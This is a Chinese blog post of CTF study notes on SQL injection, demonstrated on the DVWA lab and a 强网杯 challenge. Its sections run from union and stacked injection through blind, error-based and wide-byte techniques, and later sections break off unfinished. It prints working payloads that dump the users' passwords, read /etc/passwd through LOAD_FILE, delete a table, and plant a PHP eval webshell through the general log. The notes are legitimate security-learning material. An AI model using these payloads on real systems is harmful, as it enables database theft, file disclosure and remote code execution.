Web-CTF-SQL注入基础知识

本文最后更新于:2024年4月28日 晚上

[TOC]

不完全的知识点,学到后面感觉边听课边记录效率太低,故舍弃记录(

ASCII 编码部分

ASCII码一览表,ASCII码对照表 (biancheng.net)

十六进制 字符
23 #
30 0
31 1
41 A
42 B
61 a
62 b
126 ~

一、SQL注入简述

【万字解析】SQL注入精粹:从0到1的注入之路 - 知乎 (zhihu.com)

什么是 SQL 注入

从客观角度来看,SQL 注入是因为前端输入控制不严格造成的漏洞,使得攻击者可以输入对后端数据库有危害的字符串或符号,使得后端数据库产生回显或执行命令,从而实现对于数据库或系统的入侵;

从攻击者角度来看,需要拼接出可以使后端识别并响应的 SQL 命令,从而实现攻击

二、联合查询注入

DVWA-SQL Injection

这里用DVWA靶机环境的SQL Injection部分做演示。

① 判断是否存在注入,注入是字符型还是数字型

SQL注入测试,输入1' or '1234' = '1234

此时最终查询的SQL语句为:

SELECT first_name,last_name FROM users WHERE user_id='1'or'1234'=1234'

查询条件判断恒为真,返回users表中所有的用户数据

如果不存在SQL注入,应该什么都不返回;如果返回了,说明or生效了,用户的输入了变成了满足SQL语法的语句,SQL注入发生了

判断是否存在注入

② 猜解SOL查询语句中的字段数

字段数就是列数

输入1' or 1 = 1 order by 1 #,查询成功

order by 几就是以第几列为基准来排序,

查询1

输入1' or 1 = 1 order by 2 #,查询成功

查询2

输入1' or 1 = 1 order by 3 #,查询失败

查询3

③ 确定显示的字段顺序

输入1' union select 1,2 #,查询成功

确定显示的字段顺序

因此字段显示的顺序和输出也得到了确认。接下来就可以进一步利用union联合查询更快速地获取更多的数据。

④ 获取当前数据库名

输入1' union select 1,database() #,查询成功

获取当前数据库名

说明当前的数据库为dvwa。

⑤ 获取当前数据库的表名

输入

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

本来是应该查询成功的,但是我这里查询失败了,报错:

报错

查询发现出现这个问题是因为:

information_schema数据库里面都是utf8_general_ci,而靶场网站user表中的数据都是utf8_unicode_ci

然后就搜到了一篇文章是这样查询的:

DVWA笔记(一)SQL Injection(SQL注入)_数据库dvwa各个表名称以及表中列名名称-CSDN博客

1' union select 1,group_concat(table_name)collate utf8_general_ci from information_schema.tables where table_schema=database() #

这次可以查询成功:

获取当前数据库的表名

说明数据库dvwa中一共有两个表,guestbook与users。

⑥ 获取表中的字段名

输入

1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #

还是跟上面一样,用这个语句查询失败

我们还是继续用下面的这个:

1' union select 1,group_concat(column_name)collate utf8_general_ci from information_schema.columns where table_name ='users' #

查询成功:

获取表中的字段名

说明users表中有11个字段

⑦ 查询数据

输入

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

查询成功:

查询数据

如果group_contact被过滤了,而又只能返回一条数据,怎么办?用limit

CTF中联合查询常用套路

order by 猜列数

union select 跟列数找到回显点,对应的地方放查询语句

例如:得知有3列可以union select 233,666,777找到页面中回显的地方,比如233回显在了页面中,则可以union select database(),666,777即可得到数据库名

三、MySQL文件操作

可以通过SHOW VARIABLES语句查看采统变量及其值。

mysql> show variables;

可以使用like语句来匹配和筛选。

mysql> show variables like “a%”; 回显一个以a开头的变量

secure_file_priv

secure_file_priv对读写文件有影响。

secure-file-priv参数是用来限制LOAD DATA,SELECT...OUTFILE,and LOAD_FILE()传到哪个指定目录的。

当secure_file_priv的值为null,表示限制mysqld 不允许导入|导出。默认是null

当secure_file_priv的值为/tmp/,表示限制mysqld 的导入|导出只能发生在/tmp/目录

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

MysqL读文件

1
2
Select load_file('/flag’);
SELECT CONVERT(LOAD_FILE("/etc/passwd") USING utf8);

MysqI写文件

1
2
select "<?php phpinfo();?>" into outfile "/tmp/l.php";
select "<?php phpinfo();?>" into dumpfile "/tmp/1.php";

outfile函数可以导出多行,而dumpfile只能导出一行数据

outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

其实区别不大

四、堆叠注入

当secure_file_priv为NULL

堆叠注入

1
2
3
set global general_log=on;
set global general_log_file='c:/phpstudy/Www/789.php';
select '<?php eval($_PoST['a'])?>';

堆叠注入 MySQL可以执行多条语句,多条语之前用;做分隔。

简单的说,由于分号;为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法执行其他恶意语句,如RENAME、DROP等,堆叠注入可以用于执行任何SOL语句。

如下执行查询时,第一个语句执行信息查询,第二个语句则将表user的所有内容给删除了。

1
mysql> select * from users where id = 1;delete from users;

堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。

1
条件 $mysqli->multi_query($sql);

注意,通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返回前端页面。建议使用union联合注入,若无法使用联合注入,可考虑使用RENAME关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名。

[强网杯 2019]随便注

随意加上英文输入法下的单引号,报错,说明存在SQL注入

1

单引号闭合,尝试1' and 1 =2 #

2

什么都没返回,说明SQL注入发生了

紧接着我们可以使用一些关键字,比如1' union select

3

发现报错,返回了一个正则表达式,这里有一个很关键的地方——不让用select,致命打🥚

SQL8.0有新的语法,但这里是老版本

过滤select

mysql除可使用select查询表中的数据,也可使用handler语句,这条语使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

1
2
3
4
handler users open as hd; #指定数据表进行载入并将返回句柄
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄

1'; show tables; #

4
1
2
1'; show columns from `1919810931114514`; #
#注意这里用两个点来包裹1919810931114514
5

1919里面有一个叫flag的列,这个列的类型是varchar(100)

库知道,表知道,列知道,下面就是查数据

1
2
3
4
目标:select flag from '1919810931114514`;#
利用handler绕过:
';handler `1919810931114514` open;handler `1919810931114514` read first#

6

五、宽字节注入

慢慢淡出舞台了已经,了解即可

宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御。

通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。在php中,我们可以通过输出echo strlen("和");来测试

echo strlen("和”);

当将页面编码保存为gbk时输出2,utf-8时输出3

除了gbk以外,所有ANSI编码都是2个字节。ANSI只是一个标准,在不同的电脑上它代表的编码可能不相同,比如简体中文系统中ANSI就代表是GBK。

宽字节注入主要是源于程序员设置数据库编码PHP编码设置为不同的两个编码那么就有可能产生宽字节注入。

PHP的编码为 UTF-8而 MySql的编码设置为了SET NAMES 'gbk' 或是SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。

1
$conn->query("set names 'gbk';"); #一般有这行语句的时候考虑一下

六、⭐MySQL布尔盲注

初识盲注

布尔盲注-回显不同

时间盲注-响应时间不同

布尔状态例如

  1. 回显不同 (内容、长度)
  2. HTTP响应状态码不同(200、500)
  3. HTTP响应头变化(无条件重定向、设置cookie)
  4. 基于错误的布尔注入(MySQL是否报错)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
初识盲注
select * from users where id ='1' and 1=1 #'
select * from users where id ='1' and 1=2 #'
select * from users where id ='1' and substr((select database()),1,1)= 'a' #'
select * from users where id ='1' and substr((select database()),1,1)= 'c' #'

# 一个一个试,试第一位是啥
select * from users where id ='1' and substr((select database()),1,1)= 'a' #'
select * from users where id ='1' and substr((select database()),1,1)= 'b' #'
select * from users where id ='1' and substr((select database()),1,1)= 'c' #'
select * from users where id ='1' and substr((select database()),1,1)= 'd' #'
select * from users where id ='1' and substr((select database()),1,1)= 'e' #'
select * from users where id ='1' and substr((select database()),1,1)= 'f' #'

# 一个一个试,试第二位是啥
select * from users where id ='1' and substr((select database()),2,1)= 'a' #'
select * from users where id ='1' and substr((select database()),2,1)= 'b' #'
select * from users where id ='1' and substr((select database()),2,1)= 'c' #'
select * from users where id ='1' and substr((select database()),2,1)= 'd' #'
select * from users where id ='1' and substr((select database()),2,1)= 'e' #'
select * from users where id ='1' and substr((select database()),2,1)= 'f' #'

盲注的两大基本问题

1.字符串的截取

2.比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1.substr() substring()

SUBSTR (str, pos)
截取从pos位置开始到最后的所有str字符串

SUBSTR (str, pos, len)
如:select substr('abcdefg',1,1),一般是用这个

注意pos是从1开始数的

过滤了逗号怎么办?
SELECT SUBSTR('2018-08-17',6,5);与SELECT SUBSTR('2018-08-17' FROM 6 FOR 5); 意思一样



2.mid()
SQLMID()函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQLServer和Oracle支持。
在SQLServer,Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。
在mysql里和substr()基本一样~~

substr((select database()),1,1) = ‘d’

先不记录了,我就学吧我先

k

k

k

七、延时盲注

八、报错注入

1
2
updatexml()
extractvalue()

九、无列名盲注

1
2
3
4
select 1,2,3 union select * from users

select a.2 from (select 1,2,3 union select * from users)a


Web-CTF-SQL注入基础知识
http://viper2383.github.io/2024/04/21/Web-CTF-SQL注入基础知识/
作者
w1per3
发布于
2024年4月21日
许可协议